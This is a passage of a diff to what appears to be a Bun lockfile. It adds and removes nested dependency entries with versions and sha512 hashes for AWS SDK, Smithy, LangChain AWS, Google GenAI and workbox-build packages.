- "workbox-build/@babel/preset-env/core-js-compat/browserslist/update-browserslist-db": ["update-browserslist-db@1.1.4", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": "cli.js" }, "sha512-q0SPT4xyU84saUX+tomz1WLkxUbuaJnR1xWt17M7fJtEJigJeWUNGUqrauFXsHnqev9y9JTRGwk13tFBuKby4A=="],
+ "workbox-build/@babel/core/@babel/helper-compilation-targets/lru-cache/yallist": ["yallist@3.1.1", "", {}, "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g=="],
"workbox-build/source-map/whatwg-url/tr46/punycode": ["punycode@2.3.1", "", {}, "sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg=="],
@@ -9149,25 +8517,43 @@
"@aws-sdk/client-kendra/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/util-stream/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
- "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
+ "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@smithy/util-stream/@smithy/fetch-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "@smithy/util-uri-escape": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-wU87iWZoCbcqrwszsOewEIuq+SU2mSoBE2CcsLwE0I19m0B2gOJr1MVjxWcDQYOzHbR1xCk7AcOBbGFUYOKvdg=="],
- "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/url-parser/@smithy/querystring-parser": ["@smithy/querystring-parser@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-YmWxl32SQRw/kIRccSOxzS/Ib8/b5/f9ex0r5PR40jRJg8X1wgM3KrR2In+8zvOGVhRSXgvyQpw9yOSlmfmSnA=="],
+ "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@smithy/util-stream/@smithy/node-http-handler/@smithy/abort-controller": ["@smithy/abort-controller@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-fiUIYgIgRjMWznk6iLJz35K2YxSLHzLBA/RC6lBrKfQ8fHbPfvk7Pk9UvpKoHgJjI18MnbPuEju53zcVy6KF1g=="],
- "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
+ "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@smithy/util-stream/@smithy/node-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "@smithy/util-uri-escape": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-wU87iWZoCbcqrwszsOewEIuq+SU2mSoBE2CcsLwE0I19m0B2gOJr1MVjxWcDQYOzHbR1xCk7AcOBbGFUYOKvdg=="],
- "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/node-http-handler/@smithy/abort-controller": ["@smithy/abort-controller@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-fiUIYgIgRjMWznk6iLJz35K2YxSLHzLBA/RC6lBrKfQ8fHbPfvk7Pk9UvpKoHgJjI18MnbPuEju53zcVy6KF1g=="],
+ "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@smithy/util-stream/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.0.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-saYhF8ZZNoJDTvJBEWgeBccCg+yvp1CX+ed12yORU3NilJScfc6gfch2oVb4QgxZrGUx3/ZJlb+c/dJbyupxlw=="],
- "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/node-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "@smithy/util-uri-escape": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-wU87iWZoCbcqrwszsOewEIuq+SU2mSoBE2CcsLwE0I19m0B2gOJr1MVjxWcDQYOzHbR1xCk7AcOBbGFUYOKvdg=="],
+ "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@smithy/util-utf8/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.0.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-saYhF8ZZNoJDTvJBEWgeBccCg+yvp1CX+ed12yORU3NilJScfc6gfch2oVb4QgxZrGUx3/ZJlb+c/dJbyupxlw=="],
- "@aws-sdk/token-providers/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
+ "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/core/@smithy/util-stream/@smithy/fetch-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "@smithy/util-uri-escape": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-wU87iWZoCbcqrwszsOewEIuq+SU2mSoBE2CcsLwE0I19m0B2gOJr1MVjxWcDQYOzHbR1xCk7AcOBbGFUYOKvdg=="],
- "@aws-sdk/token-providers/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/url-parser/@smithy/querystring-parser": ["@smithy/querystring-parser@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-YmWxl32SQRw/kIRccSOxzS/Ib8/b5/f9ex0r5PR40jRJg8X1wgM3KrR2In+8zvOGVhRSXgvyQpw9yOSlmfmSnA=="],
+ "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/core/@smithy/util-stream/@smithy/node-http-handler/@smithy/abort-controller": ["@smithy/abort-controller@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-fiUIYgIgRjMWznk6iLJz35K2YxSLHzLBA/RC6lBrKfQ8fHbPfvk7Pk9UvpKoHgJjI18MnbPuEju53zcVy6KF1g=="],
- "@aws-sdk/token-providers/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
+ "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/core/@smithy/util-stream/@smithy/node-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "@smithy/util-uri-escape": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-wU87iWZoCbcqrwszsOewEIuq+SU2mSoBE2CcsLwE0I19m0B2gOJr1MVjxWcDQYOzHbR1xCk7AcOBbGFUYOKvdg=="],
- "@langchain/aws/@aws-sdk/client-bedrock-runtime/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser/strnum": ["strnum@2.1.1", "", {}, "sha512-7ZvoFTiCnGxBtDqJ//Cu6fWtZtc7Y3x+QOirG15wztbdngGSkht27o2pyGWrVy0b4WAy3jbKmnoK6g5VlVNUUw=="],
+ "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/core/@smithy/util-stream/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.0.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-saYhF8ZZNoJDTvJBEWgeBccCg+yvp1CX+ed12yORU3NilJScfc6gfch2oVb4QgxZrGUx3/ZJlb+c/dJbyupxlw=="],
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser": ["fast-xml-parser@5.2.5", "", { "dependencies": { "strnum": "^2.1.0" }, "bin": { "fxparser": "src/cli/cli.js" } }, "sha512-pfX9uG9Ki0yekDHx2SiuRIyFdyAr1kMIMitPvb0YBo8SUfKvia7w7FIyd/l6av85pFYRhZscS75MwMnbvY+hcQ=="],
+ "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/core/@smithy/util-utf8/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.0.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-saYhF8ZZNoJDTvJBEWgeBccCg+yvp1CX+ed12yORU3NilJScfc6gfch2oVb4QgxZrGUx3/ZJlb+c/dJbyupxlw=="],
+
+ "@aws-sdk/s3-request-presigner/@smithy/smithy-client/@smithy/core/@smithy/util-utf8/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.0.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-saYhF8ZZNoJDTvJBEWgeBccCg+yvp1CX+ed12yORU3NilJScfc6gfch2oVb4QgxZrGUx3/ZJlb+c/dJbyupxlw=="],
+
+ "@aws-sdk/s3-request-presigner/@smithy/smithy-client/@smithy/util-stream/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
+ "@aws-sdk/s3-request-presigner/@smithy/smithy-client/@smithy/util-stream/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
+ "@google/genai/google-auth-library/gaxios/rimraf/glob/minimatch": ["minimatch@9.0.5", "", { "dependencies": { "brace-expansion": "^2.0.1" } }, "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow=="],
+
+ "@google/genai/google-auth-library/gaxios/rimraf/glob/minipass": ["minipass@7.1.2", "", {}, "sha512-qOOzS1cBTWYF4BH8fVePDBOO9iptMnGUEZwNc/cMWnTV2nVLZ7VoNWEPHkYczZA0pdoA7dl6e7FL659nX9S2aw=="],
+
+ "@google/genai/google-auth-library/gaxios/rimraf/glob/path-scurry": ["path-scurry@1.11.1", "", { "dependencies": { "lru-cache": "^10.2.0", "minipass": "^5.0.0 || ^6.0.2 || ^7.0.0" } }, "sha512-Xa4Nw17FS9ApQFJ9umLiJS4orGjm7ZzwUrwamcGQuHSzDyth9boKDaycYdDcZDuqYATXw4HFXgaqWTctW/v1HA=="],
+
+ "@langchain/aws/@aws-sdk/client-bedrock-runtime/@aws-sdk/middleware-websocket/@aws-sdk/util-format-url/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
+ "@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/eventstream-serde-browser/@smithy/eventstream-serde-universal/@smithy/eventstream-codec/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+
+ "@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/eventstream-serde-node/@smithy/eventstream-serde-universal/@smithy/eventstream-codec/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/core/@smithy/middleware-serde": ["@smithy/middleware-serde@4.2.4", "", { "dependencies": { "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-jUr3x2CDhV15TOX2/Uoz4gfgeqLrRoTQbYAuhLS7lcVKNev7FeYSJ1ebEfjk+l9kbb7k7LfzIR/irgxys5ZTOg=="],
@@ -9175,6 +8561,14 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/core/@smithy/util-stream": ["@smithy/util-stream@4.5.5", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.5", "@smithy/node-http-handler": "^4.4.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-7M5aVFjT+HPilPOKbOmQfCIPchZe4DSBc1wf1+NvHvSoFTiFtauZzT+onZvCj70xhXd0AEmYnZYmdJIuwxOo4w=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/core/@smithy/uuid": ["@smithy/uuid@1.1.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-4aUIteuyxtBUhVdiQqcDhKFitwfd9hqoSDYY2KRXiWtgoWJ9Bmise+KfEPDiVHWeJepvF8xJO9/9+WDIciMFFw=="],
+
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/signature-v4/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
+
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/signature-v4/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/signature-v4/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint": ["@smithy/middleware-endpoint@4.3.6", "", { "dependencies": { "@smithy/core": "^3.17.2", "@smithy/middleware-serde": "^4.2.4", "@smithy/node-config-provider": "^4.3.4", "@smithy/shared-ini-file-loader": "^4.3.4", "@smithy/types": "^4.8.1", "@smithy/url-parser": "^4.2.4", "@smithy/util-middleware": "^4.2.4", "tslib": "^2.6.2" } }, "sha512-PXehXofGMFpDqr933rxD8RGOcZ0QBAWtuzTgYRAHAL2BnKawHDEdf/TnGpcmfPJGwonhginaaeJIKluEojiF/w=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-stack": ["@smithy/middleware-stack@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-Gy3TKCOnm9JwpFooldwAboazw+EFYlC+Bb+1QBsSi5xI0W5lX81j/P5+CXvD/9ZjtYKRgxq+kkqd/KOHflzvgA=="],
@@ -9185,37 +8579,51 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/util-utf8/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser": ["fast-xml-parser@5.2.5", "", { "dependencies": { "strnum": "^2.1.0" }, "bin": { "fxparser": "src/cli/cli.js" } }, "sha512-pfX9uG9Ki0yekDHx2SiuRIyFdyAr1kMIMitPvb0YBo8SUfKvia7w7FIyd/l6av85pFYRhZscS75MwMnbvY+hcQ=="],
-
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@aws-sdk/core/@smithy/core/@smithy/middleware-serde": ["@smithy/middleware-serde@4.2.4", "", { "dependencies": { "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-jUr3x2CDhV15TOX2/Uoz4gfgeqLrRoTQbYAuhLS7lcVKNev7FeYSJ1ebEfjk+l9kbb7k7LfzIR/irgxys5ZTOg=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@aws-sdk/core/@smithy/core/@smithy/util-body-length-browser": ["@smithy/util-body-length-browser@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-Fkoh/I76szMKJnBXWPdFkQJl2r9SjPt3cMzLdOB6eJ4Pnpas8hVoWPYemX/peO0yrrvldgCUVJqOAjUrOLjbxg=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@aws-sdk/core/@smithy/core/@smithy/uuid": ["@smithy/uuid@1.1.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-4aUIteuyxtBUhVdiQqcDhKFitwfd9hqoSDYY2KRXiWtgoWJ9Bmise+KfEPDiVHWeJepvF8xJO9/9+WDIciMFFw=="],
+
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@aws-sdk/core/@smithy/signature-v4/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
+
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@aws-sdk/core/@smithy/signature-v4/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@aws-sdk/core/@smithy/signature-v4/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@aws-sdk/core/@smithy/util-base64/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@aws-sdk/core/@smithy/util-utf8/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/fetch-http-handler/@smithy/util-base64/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/fetch-http-handler/@smithy/util-base64/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/smithy-client/@smithy/core/@smithy/middleware-serde": ["@smithy/middleware-serde@4.2.4", "", { "dependencies": { "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-jUr3x2CDhV15TOX2/Uoz4gfgeqLrRoTQbYAuhLS7lcVKNev7FeYSJ1ebEfjk+l9kbb7k7LfzIR/irgxys5ZTOg=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/smithy-client/@smithy/core/@smithy/util-base64": ["@smithy/util-base64@4.3.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-GkXZ59JfyxsIwNTWFnjmFEI8kZpRNIBfxKjv09+nkAWPt/4aGaEWMM04m4sxgNVWkbt2MdSvE3KF/PfX4nFedQ=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/smithy-client/@smithy/core/@smithy/util-body-length-browser": ["@smithy/util-body-length-browser@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-Fkoh/I76szMKJnBXWPdFkQJl2r9SjPt3cMzLdOB6eJ4Pnpas8hVoWPYemX/peO0yrrvldgCUVJqOAjUrOLjbxg=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/smithy-client/@smithy/core/@smithy/util-middleware": ["@smithy/util-middleware@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-fKGQAPAn8sgV0plRikRVo6g6aR0KyKvgzNrPuM74RZKy/wWVzx3BMk+ZWEueyN3L5v5EDg+P582mKU+sH5OAsg=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/smithy-client/@smithy/core/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/smithy-client/@smithy/core/@smithy/uuid": ["@smithy/uuid@1.1.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-4aUIteuyxtBUhVdiQqcDhKFitwfd9hqoSDYY2KRXiWtgoWJ9Bmise+KfEPDiVHWeJepvF8xJO9/9+WDIciMFFw=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/middleware-serde": ["@smithy/middleware-serde@4.2.4", "", { "dependencies": { "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-jUr3x2CDhV15TOX2/Uoz4gfgeqLrRoTQbYAuhLS7lcVKNev7FeYSJ1ebEfjk+l9kbb7k7LfzIR/irgxys5ZTOg=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/node-config-provider": ["@smithy/node-config-provider@4.3.4", "", { "dependencies": { "@smithy/property-provider": "^4.2.4", "@smithy/shared-ini-file-loader": "^4.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3X3w7qzmo4XNNdPKNS4nbJcGSwiEMsNsRSunMA92S4DJLLIrH5g1AyuOA2XKM9PAPi8mIWfqC+fnfKNsI4KvHw=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/url-parser": ["@smithy/url-parser@4.2.4", "", { "dependencies": { "@smithy/querystring-parser": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-w/N/Iw0/PTwJ36PDqU9PzAwVElo4qXxCC0eCTlUtIz/Z5V/2j/cViMHi0hPukSBHp4DVwvUlUhLgCzqSJ6plrg=="],
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/util-stream/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
